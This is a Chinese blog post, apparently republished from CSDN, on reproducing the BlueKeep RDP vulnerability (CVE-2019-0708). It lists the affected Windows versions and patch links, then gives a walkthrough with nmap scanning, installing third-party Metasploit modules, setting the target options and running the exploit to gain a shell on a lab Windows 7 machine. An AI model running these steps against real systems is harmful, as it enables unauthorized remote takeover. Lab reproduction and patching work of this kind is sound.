拿shell之CVE-2019-0708漏洞复现

背景:

微软公司于美国当地时间2019年5月14日发布重要安全公告,其操作系统远程桌面(Remote Desktop Services),俗称的3389服务存在严重安全漏洞(编号CVE-2019-0708):攻击者在没有任何授权的情况下(不需要用户名和密码),可以远程直接攻击操作系统开放的3389服务,在受害主机上执行恶意攻击行为,包括安装后门,查看、篡改隐私数据,创建拥有完全用户权限的新账户。由于3389服务应用广泛且该漏洞利用条件低,只要服务端口开放即可,导致该漏洞影响和危害程序堪比“WannaCry”。

受影响系统:

Windows 7、windows-Server 2008 R2、Windows Server 2008、windows-xp、windows 2003

备注:运行Windows 8和Windows 10的用户不会受到此漏洞的影响,而Windows的后续版本也不会受到影响。

补丁地址:

Windows XP、Windows 2003:

https://support.microsoft.com/zh-cn/help/4500705/customer-guidance-for-cve-2019-0708

Windows 7、Windows 2008R2:

https://www.catalog.update.microsoft.com/Search.aspx?q=KB4499175

Windows 2008:

https://www.catalog.update.microsoft.com/Search.aspx?q=KB4499180

漏洞复现:

测试机:kali linux

靶机:windows7 sp1  64位(需要开启3389端口)

MSF:5.0以上

 

1、查看靶机ip为192.18.91.130。

2、测试机nmap -sS 192.168.91.130,扫描靶机端口确认开启。

3、下载0708的msf攻击套件

4、进入文件夹,分别把文件放进msf的文件夹

rdp.rb文件放到 /usr/share/metasploit-framework/lib/msf/core/exploit

rdp_scanner.rb和 cve_2019_0708_bluekeep.rb 检测模块放到 /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp 目录

cve_2019_0708_bluekeep_rce.rb 攻击模块放到 /usr/share/metasploit-framework/modules/ exploit/windows/rdp 目录

5、进入msfconsole

报错 找不到数据库

退出后输入以下命令

/etc/init.d/postgresql start   启动postgresql数据库

msfdb init   初始化MSF数据库

6、重新启动msfconsole 正常启动

reload_all                         加载脚本  重新加载CVE2019-0708模块

search cve-2019-0708     搜索cve-2019-0708  显示加载成功

7、使用攻击模块cve_2019_0708_bluekeep_rce攻击

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce

8、show options 查看需要设置的参数

9、关键设置主要为RHOSTS\ RPORT\target

set rhosts 192.168.91.130      设置靶机IP

rport一般默认是3389不用设置,不是的话 set rport 3389

set target 4              根据VMware版本设置target值

10、输入exploit或者run 开始攻击

成功获取 shell

 

 

 

 

Complete~

发布了11 篇原创文章 · 获赞 7 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/a_helloworlds/article/details/103367993